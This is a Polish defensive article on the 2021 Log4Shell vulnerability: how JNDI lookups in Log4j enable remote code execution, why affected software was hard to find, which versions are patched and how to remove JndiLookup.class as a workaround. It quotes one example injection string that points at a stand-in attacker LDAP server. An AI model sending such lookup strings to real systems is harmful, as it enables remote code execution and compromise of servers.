Rok 2021 był czasem, w którym łańcuch dostaw oprogramowania wzrósł w zbiorowej świadomości specjalistów IT, bezpieczników i ludzi zarządzających firmami. Prawdopodobnie najsławniejszym atakiem tego typu było zainfekowanie aktualizacji oprogramowania SolarWinds Orion. Niestety nie był on jedyny. Słabości w łańcuchu dostaw oprogramowania były aż nazbyt widoczne w przypadku niedawno odkrytej luki biblioteki Log4j.

Log4j to szeroko stosowana biblioteka Java służąca do rejestrowania zdarzeń o otwartym kodzie źródłowym. Ta luka naraziła na ryzyko dziesiątki tysięcy aplikacji (od najpopularniejszych usług przechowywania danych po gry wideo online). Istotne w całym zdarzeniu było to, że aktorzy zajmujący się zagrożeniami szybko zoperacjonalizowali tę lukę. Co oznacza, że rozpoczęły się masowe skanowania infrastruktury w poszukiwaniu słabości i próby przełamania zabezpieczeń i eksploatacji systemów. Większość przedsiębiorstw, a także małe organizacje na całym świecie poznały „osobiście” lukę w oprogramowaniu Apache Log4j (CVE-2021-44228). Podatność ta zdominowała świat IT oraz cyberbezpieczeństwa w końcówce roku 2021. Wielu analityków porównywało ją do podatności EternalBlue wykorzystanej w złośliwym oprogramowaniu WannaCry.

> Biblioteki logujące

Zacznijmy od tego, dlaczego Log4j istnieje. Gdy występuje jakieś zdarzenie (np. użytkownik loguje się do aplikacji, uruchamiane są określone akcje, użytkownik odwiedza stronę w witrynie), błąd (np. aplikacja zgłasza wyjątek, wysyłane są nieprawidłowe dane wejściowe, błędy dostępu do innych usług) lub inne warunki w programie są spełnione, informacje mogą być rejestrowane, aby pomóc w debugowaniu lub zapewnić ścieżkę audytu (np. użytkownik X zalogował się o 9:00:00). Informacja może być zapisywana do pliku tekstowego, bazy danych, narzędzia do agregacji dzienników lub konsoli. Bardzo często rejestrowanie i zbieranie danych w aplikacjach może być wymagane, by zachować zgodność z przepisami związanymi z różnymi regulacjami, tj. rodo, PCI czy SOX. Aby uprościć ten proces, stworzono biblioteki ułatwiające rejestrowanie. Biblioteka stara się zapewnić programistom łatwiejszy sposób zapisywania informacji i przekazywania wpisów do innych narzędzi. Ponieważ rejestrowanie stało się obecnie istotniejsze niż wcześniej, biblioteki dodały więcej funkcji, takich jak możliwość wysyłania alertów o krytycznych problemach, filtrowania danych, które nie powinny być zapisywane do pliku, pobierania informacji o systemie i dostarczania większej ilości danych w celu skorelowania różnych zdarzeń.

> Log4j

W miarę jak systemy stawały się coraz bardziej złożone, a inżynierowie potrzebowali więcej wglądu w to, co dzieje się w ich aplikacjach, biblioteki rejestrujące dodawały nowe funkcje. Jedną z takich bibliotek jest Log4j, która zwiększyła swoje możliwości o funkcje takie jak wyszukiwanie dat, aby zapewnić więcej informacji o tym, kiedy zdarzenie dziennika zostało dodane, wyszukiwania środowiska do pobierania informacji z lokalnych zmiennych środowiskowych, wyszukiwania w ustawieniach aplikacji i wirtualnej maszyny Java (JVM) zapewniające dane na temat bieżącego środowiska wykonawczego Java oraz wyszukiwania JNDI (ang. Java Naming and Directory Interface)do pobierania zmiennych za pośrednictwem tego interfejsu. W przypadku wyszukiwania JNDI aplikacje mogą wyszukiwać dane po nazwie i pobierać informacje z pliku, bazy danych lub serwera. Te wyszukiwania umożliwiają programiście zarejestrowanie zmiennej środowiskowej $${env:USER}, która następnie zamienia się w WebUser po zalogowaniu do pliku. W przypadku pobierania danych z serwera sytuacja zrobiła się interesująca. Ta funkcja umożliwiła przekazanie do pliku logów informację pozyskaną przy użyciu usługi zewnętrznej, która może być kontrolowana przez inną osobę.

To jest właśnie powód, dlaczego w połowie grudnia 2021 r. w większości firm zatrzymał się czas. Okazało się, że w przypadku luki Log4Shell atakujący mogą przesłać ciąg wyszukiwania (np. ${jndi:ldap://IP_atakującego:1389/a}), który jest interpretowany przez bibliotekę Log4j i powoduje, że aplikacja łączy się z określonym serwerem LDAP w celu pobrania żądanych informacji. Ponieważ serwer LDAP określony w wyszukiwanym ciągu może być kontrolowany przez atakującego, może on skierować wyszukiwanie w celu przekazania złośliwego kodu Java, wykonywanego w docelowej aplikacji lub hoście. Ta funkcjonalność stała się bardzo istotną słabością biblioteki Log4j. Osoby atakujące mogą wysłać do aplikacji złośliwy ciąg wyszukiwania JNDI, aby zdalnie uruchomić wykonanie kodu. To ostatecznie daje atakującym możliwość przejęcia systemów lub przeprowadzenia innych ataków.

Przykłady danych kontrolowanych przez użytkownika obejmują:

• przesłane nazwy użytkowników;
• nagłówki User-Agent, IP Referer, X-Forwarder-For;
• adresy e-mail;
• nazwy domenowe.

> Trudność w rozpoznaniu

Problem w oprogramowaniu został zapewne już rozwiązany i większość firm poradziła sobie z tym zagrożeniem. Jednak warto popatrzeć na temat szerzej i zastanowić się, czy to na pewno była luka w oprogramowaniu. W ocenie autora była to funkcjonalność, która miała sprawić, że oprogramowanie będzie zdobywało kolejnych zadowolonych użytkowników. Funkcjonalność wykorzystywana niezwykle rzadko, dzięki czemu mało znana i zbyt słabo przeanalizowana. Aż do dnia, gdy znalazł się ktoś, kto odkrył, że można tę funkcjonalność wykorzystać do… cyberataku. Twórcy oprogramowania nie analizowali ryzyka, jakie niesie za sobą wdrożona funkcja. Tym samym nie przewidzieli… w zasadzie nie przewidzieli niczego. Szybkość wytwarzania oprogramowania oraz wikłanie własnego kodu z wieloma obcymi kodami, nieznanymi bibliotekami, zależnościami projektowymi powoduje, że bezpieczeństwo oprogramowania na etapie wytwarzania staje sie tylko iluzją. Rok 2021 był czasem, w którym oficjalnie zarejestrowano ponad 20 000 luk w bezpieczeństwie oprogramowania. Jak pokazuje rys. 1, był to rekordowy rok, a tendencja jest stale rosnąca.

Wróćmy do Log4j, które pokazało, jak z podatności powstaje zagrożenie i jak istotna w organizacji jest umiejętność zarządzania nim, a nie tylko dbanie o aktualizacje wykorzystywanego oprogramowania. Co dokładnie się wydarzyło? Ogłoszono podatność wycenioną na 10.0 w dziesięciostopniowej skali krytyczności. Sposób wykorzystania to RCE (ang. Remote Code Execution), czyli możliwość dostarczenia polecenia poprzez sieć i wykonania złośliwego oprogramowania. Brzmiało groźnie, jeszcze groźniejsze było to, że choć wiadomo, w jakim oprogramowaniu był błąd, to jednak nikt nie wiedział, w jakim oprogramowaniu jest podatność. Brzmi jak paradoks.

Eliminację zagrożenia związanego z Log4Shell (jak szybko nazwano tę podatność) utrudniały cztery czynniki:

1. Po pierwsze, największym wyzwaniem było znalezienie podatnej klasy biblioteki Log4j. Ze względu na swój zagnieżdżony charakter jest ona trudna do znalezienia. Jeśli nie widzisz podatności, nie możesz jej załatać ani mitygować.
2. Po drugie, wszechobecny charakter Log4j sprawia, że jest to duży problem na jeszcze większej powierzchni ataku – mamy tutaj problem całego potoku CI/CD, serwery lokalne, zasoby chmurowe, urządzenia sieciowe itp.
3. Po trzecie, bardzo szybko pojawiły się gotowe do użycia złośliwe kody, ale co gorsza nowe wektory ataków odkryły kolejne luki. Po CVE-2021-44228 znaleziono lukę zdalnego wykonania kodu (RCE) CVE-2021-45046, która została załatana za pomocą Apache Log4j 2.16.0. Pojawił się również CVE-2021-4104, umożliwiający RCE, taki jak CVE-2021-44228 i CVE-2021-45046 w niektórych konfiguracjach innych niż domyślne. CVE-2021-45105 umożliwia łatanie Denial-of-Service (DoS) za pomocą Apache Log4j 2.17.0.
4. Jako ostatni czynnik można wskazać niewystarczające zasoby w organizacjach, aby zwalczyć to zagrożenie. Z dnia na dzień (a w zasadzie z dnia na noc) potrzebne były zasoby ludzkie, które posiadały i czas, i umiejętności do podjęcia działań. Należało identyfikować powierzchnie ataku, łatać lukę, identyfikować i reagować na ewentualne zdarzenia w miejscach jeszcze niezałatanych, śledzić działania atakujących i wiele innych czynności przy jednoczesnym wykonywaniu codziennych obowiązków. Dodatkowo organizacje potrzebowały też narzędzi, które pozwalały podejmować wcześniej wymienione czynności. W tych dniach wszystkie te braki bardzo mocno się ujawniły.

> Podatność CVE-2021-44228 i kolejne

Omawiana luka występuje w bibliotece JndiLookup w klasie JndiLookup.class. Początkowo mowa była tylko o podatności CVE-2021-44228, nazwanej Log4Shell. Kolejne podatności obchodziły wprowadzane poprawki w rzeczonej bibliotece. I tak w całym procesie wykrywania i eliminacji pojawiła się poniższa lista podatności (tab. 1). Co ważne, luka nie ma wpływu na aplikacje korzystające tylko z pliku log4j-api.jar, bez pliku log4j-core.jar.

Mitygacja

Ze względu na złożoność problemu w pierwszej kolejności zarządzania tym zagrożeniem należy zidentyfikować miejsca w infrastrukturze oraz aplikacjach, gdzie biblioteka występuje. Okazuje się, że problem ten jest mocno złożony (o czym poniżej). W przypadku aplikacji dostarczanych przez zewnętrznych dostawców należy postępować zgodnie z ich zaleceniami. Wielkie firmy szybko dostarczają poprawki do swoich produktów – najczęściej są to tzw. hot-fixy. W przypadku aplikacji pisanych „na życzenie” należy skontaktować się z jej autorami i zweryfikować, czy wykorzystuje podatną bibliotekę i jakie kroki należy podjąć, by wyeliminować zagrożenie. Jeżeli działania są w naszych rękach, należy postępować zgodnie z poniższymi rekomendacjami. Głównym zaleceniem jest aktualizacja Log4j do wersji bez podatności. Problem został naprawiony (całkowicie i definitywnie) w bibliotekach:

• Log4j 2.17.1 (Java 8);
• Log4j 2.12.4 (Java 7);
• Log4j 2.3.2 (Java 6).

Jeśli produkt, w którym zidentyfikowano podatność, utracił wsparcie lub producent nie jest w stanie wydać poprawki, można rozważyć usunięcie klasy JndiLookup poleceniem zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class, gdzie log4j-core-*.jar jest plikiem podatnej biblioteki. Aby takie działanie przyniosło efekt, wymaga restartu serwisu/komponentu i powinno zostać najpierw przeprowadzone w środowisku testowym. W przypadku gdy aplikacja jest dystrybuowana w jednym wspólnym pliku .jar/.war/.ear, należy ją rozpakować, dokonać usunięcia klasy bezpośrednio na pliku log4j-core-*.jar i spakować ponownie. W przypadku bezpośredniej ingerencji w bibliotekę i usuwania klasy JndiLookup również zaleca się, by w pierwszej kolejności wykonać operację w środowisku testowym.

Wersja biblioteki 1.x nie jest dotknięta tymi podatnościami, jednak jeśli ktoś wciąż z niej korzysta, musi mieć świadomość, że jest ona niewspierana od wielu lat i zawiera wiele innych poważnych podatności.

Skala problemu

Jak tak mała funkcja może powodować tak wiele problemów? Otóż Java chwali się statystykami, takimi jak „3 miliardy urządzeń obsługują Javę” lub „6 milionów programistów używa Javy”. Niezależnie od tego, jak dokładne są te statystyki, najważniejsze jest to, że Java jest używana wszędzie, a Log4j jest jednym z popularniejszych frameworków do rejestrowania zdarzeń. Ta prosta luka dotyczy wszystkiego – od aplikacji bankowych i serwerów internetowych po zapory sieciowe i urządzenia zabezpieczające. Jeśli aplikacja nie korzysta z Javy, to istnieje szansa, że z tego języka i tej biblioteki korzysta usługa, która ją obsługuje, chroni ją zapora lub zależności, na których ona się opiera. Pytanie „czy Log4j istnieje w naszym środowisku?” jest zaskakująco bardziej skomplikowane, niż oczekiwano. Warto zaznaczyć, że wektor ataku nie ogranicza się do aplikacji webowych. Podatne mogą być wszystkie aplikacje napisane w języku Java, korzystające z biblioteki Apache Log4j, jeśli zapisują w logach wartości kontrolowane przez użytkownika. Przykładowo jeśli przetwarzane są nagłówki maila czy zapytania DNS w aplikacji korzystającej z tej biblioteki, to taki system również może być podatny. Z biblioteki korzystają m.in. takie rozwiązania jak Apache Struts2, Apache Solr, Apache Druid, Apache Flink, Elasticsearch, Kafka czy Graylog. Ponieważ ta luka jest łatwa do wykorzystania, wielu atakujących zautomatyzowało ten proces, próbując wykorzystać jakąkolwiek publicznie dostępną usługę podatną na Log4Shell. Może to obejmować eksfiltrację danych, instalowanie aplikacji do wydobywania kryptowalut lub rozpowszechnianie złośliwego oprogramowania.

[...]

Autor jest ekspertem w zakresie analizy i reagowania na cyberzagrożenia. Analizując zagrożenia w cyberprzestrzeni oraz techniki, taktyki i procedury w atakach, ocenia potencjalny wpływ na organizację i opracowuje plany reakcji na pojawiające się ataki i zagrożenia. Miłośnik defensywnego podejścia do cyberbezpieczeństwa.